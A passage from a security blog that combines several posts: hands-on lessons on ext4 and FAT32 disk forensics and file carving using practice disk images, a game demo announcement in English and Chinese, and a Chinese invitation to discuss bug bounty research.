your own below). From now on, anything done to `/dev/loop0` gets written into the part of disk.img after sector 2048. ```bash sudo xxd -a -l 4096 /dev/loop0 sudo mkfs.ext4 /dev/loop0 ``` The one line of mkfs's report worth remembering: ``` Creating filesystem with 101376 1k blocks and 25376 inodes ``` Two new terms: 1. block: ext4 doesn't do its bookkeeping in sectors. It groups slots into blocks, and for this disk it picked 1k: 1 block = 1024 bytes = 2 sectors (a somewhat bigger disk would get 4k = 8 sectors). From here on, every position inside ext4 is "block number N." 202752 sectors ÷ 2 = 101376 blocks, which checks out. 2. inode: each file gets one numbered registration card that records its size, timestamps, and which blocks hold its contents. 25376 inodes = at most 25376 files. The card has no filename on it; filenames are recorded in the folder. That detail becomes crucial later. Key point: the block size is chosen by mkfs and isn't fixed. The first thing to ask about any ext4 disk is "how big are this one's blocks?" Otherwise every position you calculate afterward will be wrong. ## Step 6: Walk through "opening a file" by hand ```bash sudo mkdir -p /mnt/lab sudo mount /dev/loop0 /mnt/lab echo "hello disk forensics" | sudo tee /mnt/lab/secret.txt sync ls -li /mnt/lab ``` ``` 11 drwx------ 2 root root 12288 Sep 3 12:13 lost+found 13 -rw-r--r-- 1 root root 21 Sep 3 12:20 secret.txt ``` `-i` prints the inode number: secret.txt is number 13 (number 11, lost+found, was created by mkfs itself). `sync` makes sure the data actually lands on disk, since Linux holds it in memory first. When you type `cat secret.txt`, the OS does three steps behind the scenes: 1. Look in the folder for "which inode is secret.txt?" → 13 2. Open inode 13 and check "which block holds the contents?" 3. Work out where that block sits on the disk, and read the bytes Now let's do it by hand. Step one is already done by `ls -li`. For step two, use Sleuth Kit's `istat`, which reads the inode straight off the disk without going through the filesystem: ```bash sudo istat /dev/loop0 13 ``` ``` inode: 13 Allocated ... size: 21 num of links: 1 Inode Times: Accessed: 2026-09-03 12:20:49 (CST) File Modified: 2026-09-03 12:20:49 (CST) Inode Modified: 2026-09-03 12:20:49 (CST) File Created: 2026-09-03 12:20:49 (CST) Direct Blocks: 8705 ``` Size 21, four timestamps, contents in block 8705\. No filename. Step three: blocks are 1024 bytes, so the contents start at byte 8705 × 1024. ```bash sudo xxd -s $((8705*1024)) -l 64 /dev/loop0 ``` ``` 00880400: 6865 6c6c 6f20 6469 736b 2066 6f72 656e hello disk foren 00880410: 7369 6373 0a00 0000 0000 0000 0000 0000 sics............ ``` Now go one step further: skip loop0 and find the same spot directly in disk.img. You have to add the 1 MiB where the partition starts: ```bash xxd -s $((2048*512 + 8705*1024)) -l 64 disk.img ``` ``` 00980400: 6865 6c6c 6f20 6469 736b 2066 6f72 656e hello disk foren 00980410: 7369 6373 0a00 0000 0000 0000 0000 0000 sics............ ``` The positions on the left, `00880400` and `00980400`, differ by `0x100000` \= 1 MiB, which is exactly where the partition starts. The whole chain lines up. The trailing zeros are there because the block holds 1024 bytes and the file only uses 21. Key point: you didn't open the file and you didn't go through the filesystem. You dug the contents out purely with "which slot × how big." The OS will only help you with files that are in normal shape; once a file is deleted, a folder is corrupted, or the partition table is gone, it just tells you it can't find anything. But the inode and blocks may well still be on the disk. All of data recovery and forensics comes down to connecting these three steps when things are broken in all sorts of ways. ## Step 7: The deletion experiment ```bash sudo rm /mnt/lab/secret.txt sync ls -li /mnt/lab sudo xxd -s $((8705*1024)) -l 64 /dev/loop0 ``` ``` 11 drwx------ 2 root root 12288 Sep 3 12:13 lost+found 00880400: 6865 6c6c 6f20 6469 736b 2066 6f72 656e hello disk foren 00880410: 7369 6373 0a00 0000 0000 0000 0000 0000 sics............ ``` The file is gone from the folder, but its contents are still there. Deletion only does three things: 1. Crosses the name out of the folder 2. Marks inode 13 as "free, reusable" 3. Marks block 8705 as "free, reusable" It doesn't zero out those 1024 bytes, because wiping takes time and there's no need — the next new file can simply overwrite them. The contents just sit there until some new file gets assigned block 8705. Key point: the first iron rule of data recovery — the moment you realize you deleted something by mistake, stop writing to the disk. Every extra file you save, every time you open a browser, you're rolling the dice on whether that slot gets overwritten. Now look at the inode again: ```bash sudo istat /dev/loop0 13 ``` ``` inode: 13 Not Allocated ... size: 0 num of links: 0 ... Deleted: 2026-09-03 12:26:10 (CST) Direct Blocks: ``` `Not Allocated`, size is now 0, `Direct Blocks` is empty — when ext4 deletes a file, it wipes the record of which blocks held the contents. But there's a new line, `Deleted`: the disk itself recorded when the file was deleted. For forensics, that line is worth a lot. ![](https://taiwanding.com/content/images/2026/09/fig3-delete-states.jpg) ### Is "once you rm it, it's gone for good" true? It's not a lie, just an oversimplification. "The contents are still there" and "you can get them back" are two different things, and what separates them is a map. 1. The map is gone. We could still fish the data out because we knew 8705\. In real life you don't know that, and ext4 wiped the map off the inode when it deleted the file. A large file is scattered across thousands of non-contiguous slots; without the map, you can't piece it back together even if every byte is still there. 2. It can be overwritten at any moment. The system is constantly writing logs, temp files, and browser cache, so any slot can be taken at any time. 3. SSDs are even harsher. The OS uses TRIM to tell the SSD "this slot is free," and the SSD proactively erases it. A few minutes after rm, the contents really are gone. The key line: "you can't get it back" doesn't really mean the contents vanished — it means the signposts were torn down. In everyday practice that holds maybe 80% of the time. For someone who knows how to find backup copies of the signposts, or how to scan a disk for content signatures, it doesn't. ### The inode gets snatched Add two more files: ```bash echo A | sudo tee /mnt/lab/a.txt >/dev/null sudo cp /mnt/lab/a.txt /mnt/lab/b.txt sync; ls -li /mnt/lab ``` ``` 13 -rw-r--r-- 1 root root 2 Sep 3 12:32 a.txt 14 -rw-r--r-- 1 root root 2 Sep 3 12:32 b.txt 11 drwx------ 2 root root 12288 Sep 3 12:13 lost+found ``` a.txt got number 13 — the very card that had just been crossed off for secret.txt. "Reusable" isn't just talk: the next new file grabbed it immediately, and secret.txt's original data on that card has been overwritten. b.txt got 14, which proves a copy is an independent new file: new inode, new block, contents duplicated. ```bash sudo istat /dev/loop0 13 | tail -2 sudo istat /dev/loop0 14 | tail -2 sudo xxd -s $((8705*1024)) -l 32 /dev/loop0 ``` ``` Direct Blocks: 9217 Direct Blocks: 9218 00880400: 6865 6c6c 6f20 6469 736b 2066 6f72 656e hello disk foren 00880410: 7369 6373 0a00 0000 0000 0000 0000 0000 sics............ ``` The inode was reused immediately, but the block wasn't. a.txt got 9217, 8705 wasn't touched, and hello is still there. This time ext4 moved forward to find new slots instead of going back for the one that had just been freed, so the window where "the contents are still there" usually lasts longer than the window where "the inode is still there." This behavior differs from one filesystem to the next, and knowing that is a skill in itself. We're now in the worst-case scenario: the filename is gone, the inode has been taken by another file, the map has been wiped, and only the contents are left sitting on the disk. ## Step 8: Get it back With no map, you scan the whole disk slot by slot, looking for signatures in the content itself. We know the file contains "hello disk forensics": ```bash sudo grep -a -b -o "hello disk forensics" /dev/loop0 ``` ``` 8913920:hello disk forensics ``` `-a` forces the disk to be read as plain text, and `-b` prints the byte offset of the match. 8913920 ÷ 1024 = 8705, the same block the inode recorded before it was wiped — only this time there was no ledger at all; we found it purely by scanning the content. Recover it: ```bash sudo dd if=/dev/loop0 bs=1024 skip=8705 count=1 2>/dev/null | tr -d '\0' > recovered.txt cat recovered.txt ``` `bs=1024 skip=8705 count=1` \= in units of 1024, skip 8705 of them and grab 1\. `tr -d '\0'` strips the zeros trailing at the end of the block. This technique is called carving: instead of relying on the ledger, you rely on signatures in the content. With real files you won't know the contents, but file formats have fixed headers — JPEG is `FF D8 FF`, PDF is `%PDF`, ZIP is `PK`. PhotoRec scans the whole disk for the headers of hundreds of formats, and whenever it hits one, it grabs data from that slot onward. The limits of carving: 1. The filename is lost 2. The timestamps are lost 3. If the file isn't contiguous, it gets pieced together wrong ## Cleanup ```bash sudo umount /mnt/lab sudo losetup -d /dev/loop0 ``` Keep `disk.img` — we'll use it again in the next lesson. ## Wrap-up There are really only four takeaways from this lesson: 1. A hard drive is a row of numbered slots, and everything comes down to answering "what's in which slot" 2. The MBR and ext4's ledgers both have formats fixed by the spec. With the format table in hand, you can read them just by counting offsets — count from 0, ignore xxd's spaces, and read numbers backwards 3. "Opening a file" is three steps: look up the name → check the inode → read the block. If you can walk those three steps by hand, you can still get data back after a file is deleted or the ledger is broken 4. Deleting just leaves a mark. Contents still there ≠ recoverable; what separates the two is a map Happy Carving! ### Wuxia Life Demo Is Out: The Complete First Act, Six World Events, and a Save That Carries Into Early Access URL: https://taiwanding.com/en/wuxia-life-demo-out/ Last updated: 2026-09-19T06:05:05.000Z Hello, fellow wanderers — I'm 肉 from 肉's Lab. This blog usually covers penetration testing and technical research, and it's also home to the Wuxia Life dev log. Today's post is for the jianghu. STEAM DEMO ・ OUT 2026-09-18 ・ FREE ・ WINDOWS 10/11 64-BITThe Wuxia Life demo: the complete first act Luzhou Village → Official Road → Lujin Harbor. About four hours if you rush the main story, six to eight hours or more once you learn the systems and do the side quests. Your demo save carries into Early Access. [Download Demo (Steam)](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) [Add to wishlist](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) Already have Steam installed? You can also open to install the demo directly — it does the same thing as the "Download Demo" button on the store page. On September 18, the Steam demo of Wuxia Life went live — head to the [store page](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) and hit "Download Demo" to play. It's a wuxia RPG about raising your character: on the fictional island of Yingzhou, far out in the eastern sea, you start as a nobody from Luzhou Village, dig into your father's old case, and walk straight into the storm brewing at Lujin Harbor. This isn't a trimmed slice. The demo is the complete first act — from the wolf attacks and the reveal behind your father's case to the showdown that clears the Blacktide gang out of Lujin Harbor. Rushing the main story takes about four hours; learning the systems and doing a round of side quests is six to eight hours or more. ![Wuxia Life demo screenshot: Luzhou Village, with the Matters of the Jianghu quest panel open on the right](https://taiwanding.com/content/images/2026/09/en_ss02.webp) Luzhou Village, where it all starts. On the right: the Matters of the Jianghu quest panel ## What's in the demo - **The complete first act**: Luzhou Village → Official Road → Lujin Harbor, all the way to the Blacktide chief, ending on a hook that points at something much bigger. - **ATB real-time combat**: speed sets the rhythm; six active skill slots, cooldowns and gear affixes to build around; 1x/2x/4x/8x speed and smart auto-battle (it picks skills on its own and guards when a Boss charges up); full-screen Boss ultimates. - **A party of four, and the raising that comes with it**: allocate stats, learn martial arts and inner arts, push through ten circuits of cultivation (breakthroughs get a full-screen ceremony); recruit companions; pick one of three starter pets at the village chief's house right at the start; level your mount and race it. Raising is the heart of this game — if a Boss beats you, it's usually because you haven't raised enough yet, not because your hands are too slow. - **Sects**: all five sects open at Lv10 (three of their mountain gates sit outside the demo map, so you travel there through the sect panel), with sect quest chains and Sect Arts to master. - **Six World Events**: Spring Festival Lantern Fair, Horse Racing Festival, Sect Grand Match, Youth Heroes Meet, Five Sects Martial Meet and Supreme Sect War — every one of them is a 3D venue you actually walk into, not a menu. Some have seasonal or entry conditions; the Lantern Fair, for example, only opens in the first month of the year. - **Town minigames**: three casino tables (dice, slots, blackjack), Chicken Chase, Dock Carry, Martial Spar, fishing and the Spring Festival lantern riddles. Your results go into the Records tab of the achievements panel. - **State of mind**: the Inner Demon and five inner voices, the Storyteller's tales and pressure gauge, and a jianghu that remembers what you did — people come back later to repay you or settle scores. - **Bounties (Lv15), encounters, forging**, and a romance you can take your time with. - **Traditional Chinese and English** (interface and subtitles). ![Wuxia Life demo screenshot: an ATB street battle against three bandits at the edge of the village](https://taiwanding.com/content/images/2026/09/en_ss03.webp) An ATB street battle against bandits. If a Boss beats you, it's usually because you haven't raised enough yet — not because your hands are too slow ## Your demo save carries over I'm building an import feature so your demo save (achievements included) carries into the Early Access version — a one-click import the first time you launch EA, before any save exists there. If the save format changes before EA, I'll handle the compatibility too. The character you've raised, the vows you've made, the bonds you've formed — I'll do my best to make sure they come with you. ![Wuxia Life demo screenshot: the ink-wash world map of Yingzhou Isle, with the Location Index open on the right](https://taiwanding.com/content/images/2026/09/en_ss07.webp) The ink-wash world map of Yingzhou Isle. The demo covers the stretch from Luzhou Village through the Official Road to Lujin Harbor; the rest of the road, you walk with your save ## About the Early Access date I've been writing "mid-November" for a while. Honest update: **Early Access is now planned for Q1 2027**. The reason is simple — I want to get Early Access right, so I'm taking a few more months to ship something both you and I can be happy with. The rest of the plan hasn't changed: Early Access should run for roughly 6 to 12 months, and the target for 1.0 is still the end of 2027\. If the main story, combat balance or content density still need more time, I'd rather extend Early Access than rush the game into a full release before it's ready. During Early Access the game will be offered at a more accessible price, adjusted gradually as it gets closer to 1.0 — and if you buy during Early Access, you keep getting every update through the full release without paying again. ## What still needs polish The game is still under construction, so here's the known list of things that need deeper work: - **The 3D venue upgrade is only partway done**: the six World Event venues plus the Chicken Chase, Dock Carry, horse racing, Martial Spar and stable scenes have 3D venues (the casino and fishing are procedural 3D). - **The English text** is still being proofread line by line. If you spot leftover Chinese or awkward phrasing, please report it. - **Combat numbers and raising guidance** are still being tuned — my direction is to make "what to go raise next" clearer, not to nerf the Bosses. - Some panel transitions and animations are still being smoothed out. ## Bug reports and wishes - **Bug reports**: [bug report form](https://feedback.taiwanding.com/s/cmqusyn91000301pn3hqfsxhd?ref=taiwanding.com) (there's also a "Report a Problem" button in the in-game settings panel that fills in your version and location automatically). - **Wish board**: [ideas.taiwanding.com](https://ideas.taiwanding.com/?ref=taiwanding.com) — features you want, things you think should change, post them there. - **Discussions**: [Steam discussions](https://steamcommunity.com/app/4658980/discussions/?ref=taiwanding.com). ## The week ahead With the demo out, I'm taking a week off. I'll still **check my inbox every day** — if something urgent comes up, like a stuck save or the game failing to launch, email me directly: [**pcc402@nyu.edu**](mailto:pcc402@nyu.edu). For everything else, please use the report form or the discussions above; I'll go through it all when I'm back. For this one week, the jianghu is in your hands — go play. If this world is to your liking, please add Wuxia Life to your Steam wishlist — when Early Access sets sail, you'll be the first to know. [Add to wishlist](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) [Download Demo (Steam)](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) > 🔗 **Official game page:** [**taiwanding.com/wuxialife-en**](https://taiwanding.com/wuxialife-en/) — more screenshots, a breakdown of the systems, and the Early Access plan. > > 🔗 This post is also published as a [**Steam announcement**](https://store.steampowered.com/news/app/4658980/view/680761758839734908?ref=taiwanding.com). > > 🔗 Dev logs keep going under this blog's [**武俠**](https://taiwanding.com/tag/wu-xia/) tag; the previous English post was April's [Wuxia Life: Indie Martial-Arts RPG Now on Steam (Coming Soon)](https://taiwanding.com/en/wuxia-life-indie-rpg-steam-announcement/). 肉's Lab ### 《武俠人生》Demo 上架了:完整第一部、六場江湖大事,存檔可繼承 EA URL: https://taiwanding.com/wu-xia-ren-sheng-demo-shang-jia-liao/ Last updated: 2026-09-19T05:25:19.000Z 各位俠士好,我是肉's Lab 的肉。這個 blog 平常寫滲透測試與技術研究,同時也是《武俠人生》開發日誌的家——今天這一篇,是給江湖的。 STEAM DEMO ・ 2026-09-18 開放下載 ・ 免費 ・ WINDOWS 10/11 64-BIT《武俠人生》試玩版:完整的第一部 蘆洲村 → 官道 → 鹿津港。主線直衝約四小時,把系統摸熟、支線做一輪六到八小時以上;試玩存檔可繼承 Early Access。 [下載試玩版(Steam)](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) [加入願望清單](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) 已安裝 Steam 的話,也可以直接開啟 安裝試玩版;商店頁按「下載試玩版」效果相同。 9 月 18 日,《武俠人生》的 Steam 試玩版正式開放下載了——到[商店頁](https://store.steampowered.com/app/4658980/?ref=taiwanding.com)按「下載試玩版」就能玩。這是一款武俠養成 RPG:你在架空的東海孤島「瀛洲」上,從蘆洲村的一介少年起步,追查父親的舊案,一路走進鹿津港的風波。 試玩版不是縮水的片段,而是完整的「第一部」——從狼患起手、父案揭露,到肅清黑潮幫的鹿津港決戰,主線直衝約四小時,把系統摸熟、支線做一輪六到八小時以上。 ![《武俠人生》試玩版截圖:蘆洲村村內場景,右側開著「江湖要務」任務面板](https://taiwanding.com/content/images/2026/09/ss02.webp) 蘆洲村:一切從這裡起步,右側是「江湖要務」任務面板 ## 試玩版玩得到什麼 - **完整第一部主線**:蘆洲村 → 官道 → 鹿津港,一路打到黑潮幫頭目,收在一個指向更大局的伏筆上。 - **ATB 即時戰鬥**:速度決定出手節奏,六格主動技能、冷卻與裝備詞條搭配,支援 1x/2x/4x/8x 加速與智慧自動戰鬥(會自己選招、Boss 蓄力時自動防禦);Boss 大招有全螢幕演出。 - **四人隊伍與培養**:主角配點、學武、內功與周天十重修煉(突破有全螢幕儀式);招募夥伴;開局就能在村長家三選一領御三家寵物;坐騎升級與賽馬。這款遊戲的核心就是「養」——Boss 打不過,多半是還沒養到位,而不是手不夠快。 - **門派**:五大門派 Lv10 起皆可入門(其中三派山門在試玩地圖之外,靠門派面板傳送往返),門派任務鏈、絕學修習。 - **六場江湖大事**:春節燈謎會、賽馬大會、門派大比、少年英雄會、五派會武、最強宗門戰——每一場都是可以「走進去」的 3D 會場,不是一張面板。部分大事有季節或資格條件,例如燈謎會要等到正月才開市。 - **市井小遊戲**:賭坊三桌(骰子、拉霸、二十一點)、抓雞、碼頭搬貨、武館切磋、釣魚、春節燈謎,戰績會記進成就面板的「戰績」分頁。 - **心境系統**:心魔與五種內心聲音、說書人的江湖軼事與壓力指數。你做過的選擇會被江湖記住,日後有人回頭報恩或尋仇。 - **懸賞(Lv15)、奇遇、鑄造**,以及一條可以慢慢經營的戀愛線。 - **繁體中文/英文**雙語(介面與字幕)。 ![《武俠人生》試玩版截圖:村口街道上對戰山賊的 ATB 戰鬥畫面](https://taiwanding.com/content/images/2026/09/ss03.webp) 村口街道的 ATB 戰鬥(對戰山賊)。Boss 打不過,多半是還沒養到位,而不是手不夠快 ## 試玩存檔可以繼承 我會做匯入功能,讓試玩版的存檔(含成就)能帶進 Early Access 版——EA 版首次啟動、還沒有任何存檔時一鍵匯入;EA 前若存檔格式有調整,也會一併做相容。你現在養的角色、立下的誓、結下的緣,我會盡力讓它們跟著你走。 ![《武俠人生》試玩版截圖:瀛洲島的水墨世界地圖,右側為地點索引](https://taiwanding.com/content/images/2026/09/ss07.webp) 瀛洲島水墨世界地圖。試玩版走的是蘆洲村、官道到鹿津港這一段;後面的路,帶著存檔一起走 ## 關於 Early Access 的時間 之前我一直寫「十一月中」,這裡誠實更新:**Early Access 版預計落在 2027 年第一季**。原因很單純——我想把 Early Access 做好,所以會多花幾個月,端出一個讓自己和玩家們滿意的 EA。 時程的其他部分沒有變:搶先體驗預計持續約 6 到 12 個月,正式版 1.0 的目標仍是 2027 年末;如果主線節奏、戰鬥平衡或內容完整度還需要時間,我會傾向延長 EA,而不是趕時程倉促推出。EA 期間會以較親民的價格提供,接近 1.0 時再逐步調整,EA 期間購買的玩家可以一路取得後續正式版更新,不需要重新購買。 ## 還在打磨中的地方 遊戲仍在持續施工,先把已知的、需要深度打磨的項目攤開來講: - **3D 場景升級只做了一部分**:目前六場江湖大事會場,以及抓雞、碼頭搬貨、賽馬、武館切磋、馬廄等場景完成了 3D 會場(賭坊與釣魚是程序生成的 3D)。 - **英文版文案**還在逐句校對,若看到半中半英或語意不順的地方,請直接回報。 - **戰鬥數值與培養引導**持續調整——我的方向是把「該去養什麼」講得更清楚,而不是把 Boss 砍弱。 - 部分面板的轉場與動效仍在絲滑化。 ## 回報問題與許願 - **問題回報**:[問題回報表單](https://feedback.taiwanding.com/s/cmqusyn91000301pn3hqfsxhd?ref=taiwanding.com)(遊戲內設定面板也有「回報問題」按鈕,會自動帶入版本與所在地點)。 - **許願版**:[ideas.taiwanding.com](https://ideas.taiwanding.com/?ref=taiwanding.com)——想要什麼功能、覺得哪裡該改,都可以貼。 - **討論區**:[Steam 討論區](https://steamcommunity.com/app/4658980/discussions/?ref=taiwanding.com)。 ## 接下來一週 試玩版上架後,我會休息一個禮拜,這段期間仍會**每天查看信箱**。如果遇到卡關存檔、無法啟動這類急事,請直接來信:[**pcc402@nyu.edu**](mailto:pcc402@nyu.edu);其他問題請走上面的回報表單或討論區,休息回來會一併處理。 這一個禮拜,江湖就先交給各位了——趕快去玩吧。 如果這片江湖合你眼緣,歡迎把《武俠人生》加入願望清單——Early Access 啟程時,第一時間與你相見。 [加入願望清單](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) [下載試玩版(Steam)](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) > 🔗 **官網介紹頁:**[**taiwanding.com/wuxialife**](https://taiwanding.com/wuxialife/)——更多截圖、系統介紹與 Early Access 規劃都在這裡。 > > 🔗 本文同步刊登於 [**Steam 公告**](https://store.steampowered.com/news/app/4658980/view/680761758839734908?ref=taiwanding.com);English version:[The Wuxia Life demo is out](https://taiwanding.com/en/wuxia-life-demo-out/)。 > > 🔗 開發日誌會繼續放在這個 blog 的[**武俠**](https://taiwanding.com/tag/wu-xia/)標籤下;上一篇是四月的[《武俠人生》商店頁上架](https://taiwanding.com/wu-xia-ren-sheng-wuxia-life/)。 肉's Lab ### 從一封印度學生的來信說起——有想了解Bug Bounty的,都歡迎來聊 URL: https://taiwanding.com/cong-yi-feng-yin-du-xue-sheng-de-lai-xin-shuo-qi-you-xiang-liao-jie-bude-du-huan-ying-lai-liao/ Last updated: 2026-09-19T06:36:19.000Z 前陣子,我收到一位印度資工系學生的來信,他說,他是從我的 Intigriti 個人頁面找到我的, 信不長,寫得很誠懇,他喜歡 low-level 和作業系統相關的東西,平常用 C 寫程式寫得很開心,但對找 CVE 還是個完全的新手, 他問了三個很具體的問題:我當初怎麼開始研究 Trusted Firmware、平常怎麼尋找可能有安全問題的地方,以及回報時,對方通常期待看到什麼程度的 PoC, 讓我印象最深的,是他開頭那句:「如果這樣問不會太冒昧的話」, ![](https://taiwanding.com/content/images/2026/09/image.png) 先交代一下,他為什麼會來問我, 今年一月,我透過Intigriti回報了 Trusted Firmware-A 的一個安全問題,後來收錄進官方的 [TFV-15 安全公告](https://trustedfirmware-a.readthedocs.io/en/lts-v2.14.4/security%5Fadvisories/security-advisory-tfv-15.html?ref=taiwanding.com),對應 CVE-2026-34878, 簡單說,開機程式在驗證映像之前,會先讀取韌體套件裡的目錄資訊,確認資料放在哪裡、有多大,當時這些資訊的檢查不夠完整,在特定條件下,可能造成開機階段的安全記憶體資料洩漏,或讓開機中止。 這個問題讓我印象很深的一點是:即使後面會驗章,前面解析資料的步驟,也必須先做好安全檢查, 大概就是因為這條紀錄,他才會來找我, 但回信的時候,我發現,他問的那三件事——怎麼開始、怎麼找問題、PoC 要做到哪裡——換到 Web、WordPress 外掛,或某個 API 的研究,一樣會遇到,技術細節不同,剛起步時的疑問卻很相似, 這封信也讓我想到,或許台灣也有人有一樣的疑問,只是不知道可以找誰聊, 所以,想藉這個機會把邀請寫清楚:如果你在台灣,對 bug bounty、找 CVE 或資安研究有興趣,很歡迎來找我聊, 不用做 firmware,也不用懂 low-level,更不用先有 CVE 或拿過獎金才來問,不管你正在研究哪個方向,或只是有興趣、還不知道怎麼開始,都可以,比如說: - 不知道該從哪個目標、哪個平台開始。 - 找到一個可疑的地方,但不確定算不算漏洞、值不值得回報。 - 不知道報告怎麼寫,PoC 要呈現哪些資訊才夠清楚。 - 看不太懂某個 program 的 scope 和規則。 - 或者只是想知道,做資安研究、參與漏洞獎勵計畫,實際上是怎麼一回事。 其中不少問題,我也卡過,有些事情回頭看不複雜,當時卻花了不少時間才弄懂。 我能分享的,就是自己怎麼開始、在哪裡繞過路,以及回報和溝通時學到的事,如果這些經驗剛好能幫你釐清下一步,就很值得聊, 回到那句「如果這樣問不會太冒昧的話」, 我很懂那個猶豫,總覺得要先讀夠多、程度夠了,或至少做出一點東西,才好意思去問人,有時候連問題都還不知道怎麼描述,就更難開口。 但還沒弄懂的時候,本來就很難把問題問得漂亮,你可以先說自己想做什麼、目前卡在哪裡;如果已經試過一些方法,也一起寫下來,我們就從那裡開始聊。 所以,不用先問會不會太冒昧,直接問就好, 交流不收費,就是想認識對資安研究有興趣的朋友,也分享一些自己走過的經驗,有想聊的,寄信到 [pcc402@nyu.edu](mailto:pcc402@nyu.edu) 就可以了,不用客套、不用鋪陳,寫你想聊的就好, 門開著,歡迎來聊。 ### 磁碟底層與資料救援(三):救回記憶卡裡的五張照片 URL: https://taiwanding.com/ci-die-di-ceng-yu-zi-liao-jiu-yuan-san-jiu-hui-ji-yi-qia-li-de-wu-zhang-zhao-pian/ Last updated: 2026-09-19T06:36:19.000Z 聲明:本文用的靶碟是自己做的,一顆 64MB 的假記憶卡 image,不會碰到任何真實硬碟,五張照片上印的通關碼一律打碼為 `Redacted`,想自己先打的,靶碟在下方可直接下載,題目設定寫在下一節。 [roulab-recovery-1.imgroulab-recovery-1.img.gz1 MBdownload-circle](https://taiwanding.com/content/files/2026/09/roulab-recovery-1.img.gz "Download") ## 為什麼第三課是照片 前兩課都是 ext4,這課換 FAT32,理由很簡單:真實世界最常被拜託救的東西是照片,而照片幾乎都躺在 FAT32 的記憶卡上。 靶碟的設定:一張相機記憶卡,主人說裡面有五張照片,現在只剩兩張看得到,五張照片五種狀況,由淺到深: 1. 第 0 關:一張正常的照片,沒被刪 2. 第 1 關:一張被正常刪除的照片 3. 第 2 關:一張連檔名都沒有的照片 4. 第 3 關:一張被刪掉、而且碎成兩半的照片 5. 第 4 關:一張看得到、但打不開的照片 每張照片上都印著通關碼,救出來、打得開、讀得到碼,那關就算過。 重點:這課只用兩個工具,Sleuth Kit 和 grep,沒有 PhotoRec,先手動走一次,之後用自動工具你才知道它在替你做什麼、又在哪裡騙你。 ## 環境 ```bash cp /mnt/d/Download/roulab-recovery-1.img.gz ~/lab/ && cd ~/lab gunzip roulab-recovery-1.img.gz md5sum roulab-recovery-1.img ``` md5 要是 `6005d8729e0b4ef806e42daea12f2719`,這顆 image 是證物,全程不對它寫入,所有輸出另外存到 `~/lab/out/`。 ```bash mmls roulab-recovery-1.img ``` ``` Slot Start End Length Description 000: Meta 0000000000 0000000000 0000000001 Primary Table (#0) 001: ------- 0000000000 0000002047 0000002048 Unallocated 002: 000:000 0000002048 0000131071 0000129024 Win95 FAT32 (0x0c) ``` 分割區一樣從 2048 開始,後面所有指令都帶 `-o 2048`,差別在最後一欄:`Win95 FAT32 (0x0c)`,不是 Linux。 ## Step 1:列名單 ```bash fls -o 2048 -r -p roulab-recovery-1.img ``` ``` r/r 3: ROULAB (Volume Label Entry) d/d 4: DCIM d/d 21: DCIM/100LAB r/r 37: DCIM/100LAB/IMG_0000.JPG r/r * 38: DCIM/100LAB/_MG_0001.JPG r/r * 39: DCIM/100LAB/_MG_0003.JPG r/r * 40: DCIM/100LAB/_ID_0001.BIN r/r 41: DCIM/100LAB/IMG_0004.JPG v/v 2032099: $MBR v/v 2032100: $FAT1 v/v 2032101: $FAT2 V/V 2032102: $OrphanFiles ``` 三件事: 1. `$FAT1`、`$FAT2` FAT 的帳本(哪格接哪格)整本放在磁碟最前面,而且寫兩份,第二份是備份。 2. 星號的名字第一個字變成底線 `_MG_0001.JPG` 原本是 `IMG_0001.JPG`,FAT 刪檔案時只把檔名的第一個 byte 改成 `0xE5`,代表「這格空了」;其他 10 個字、大小、時間、第一個 cluster 的位置全部留在原地,TSK 看到 `0xE5` 就顯示成底線。 3. 少了 `IMG_0002` 0000、0001、0003、0004 都在,連底線版都沒有 0002,目錄裡完全沒有它的格子。 重點:這就是三種「不見」的差別。0001、0003 是格子還在、只是標成可回收;0002 是格子沒了,帳本完全不認識它,只剩內容可能還散在碟上。 ## Step 2:第 0 關,校正儀器 第 0 關不是救援,是確認流程,拿到一顆碟,先找一個好好的檔案走一遍,確認工具讀得對、offset 對、倒出來的東西打得開,這關過了,後面救出來的圖打不開,你就知道問題在圖不在流程。 ```bash istat -o 2048 roulab-recovery-1.img 37 ``` ``` Directory Entry: 37 Allocated File Attributes: File, Archive Size: 223671 Name: IMG_0000.JPG ... Sectors: 2021 2022 2023 2024 2025 2026 2027 2028 ... 2453 2454 2455 2456 2457 ``` Size 223671,Sectors 從 2021 一路連號到 2457,數一下:2457 − 2021 + 1 = 437 格 × 512 = 223744 bytes,剛好裝得下 223671,這是「健康的檔案」的長相:帳本說它在哪,資料就連續躺在那,後面每關都拿這個當標準比。 這顆碟的 cluster 是 512 bytes,跟 sector 一樣大,所以 istat 印的 sector 號可以直接當 cluster 號用。 ### 38 是 inode 嗎 跟第一課對照一下,ext4 是三步:名字 → inode(卡片)→ block(內容)。FAT 沒有獨立的卡片,名字、大小、時間、第一格在哪,全部擠在目錄裡的同一個 32-byte 格子,TSK 為了讓你能用同一套指令,自己把這些格子編號,`38` 是 TSK 給那個格子的號碼,FAT 本身沒有這個數字。 ![](https://taiwanding.com/content/images/2026/09/fig7-ext4-vs-fat.jpg) 差別在最後一塊:ext4 把「內容在哪幾格」全寫在 inode 裡;FAT 只在格子裡寫「第一格」,第二格以後要去翻 `$FAT1` 帳本, 倒出來,順便丟到 Windows 看圖: ```bash mkdir -p ~/lab/out icat -o 2048 roulab-recovery-1.img 37 > ~/lab/out/L0.jpg cp ~/lab/out/L0.jpg /mnt/d/Download/ file ~/lab/out/L0.jpg ``` ``` L0.jpg: JPEG image data, JFIF standard 1.01, ... 1024x768, components 3 ``` 打開,通關碼 `Redacted`,儀器沒問題。 ## Step 3:第 1 關,正常刪除 ```bash istat -o 2048 roulab-recovery-1.img 38 ``` ``` Directory Entry: 38 Not Allocated File Attributes: File, Archive Size: 213350 Name: _MG_0001.JPG ... Sectors: 2458 2459 2460 2461 2462 2463 2464 2465 ... 2874 ``` 看起來跟第 0 關幾乎一樣:Size 還在、時間還在、Sectors 也是一整串連號,只差一行 `Not Allocated`, 但這串 Sectors 的來源不同,第 0 關那串是 TSK 照帳本一格一格讀出來的;這張刪除時帳本的鏈已經被清成 0,TSK 手上只剩目錄格子裡的兩個數字:第一格 2458、大小 213350,它就假設「檔案是連續的」,自己往後數 417 格填給你看。 重點:`Not Allocated` 底下的 Sectors 是 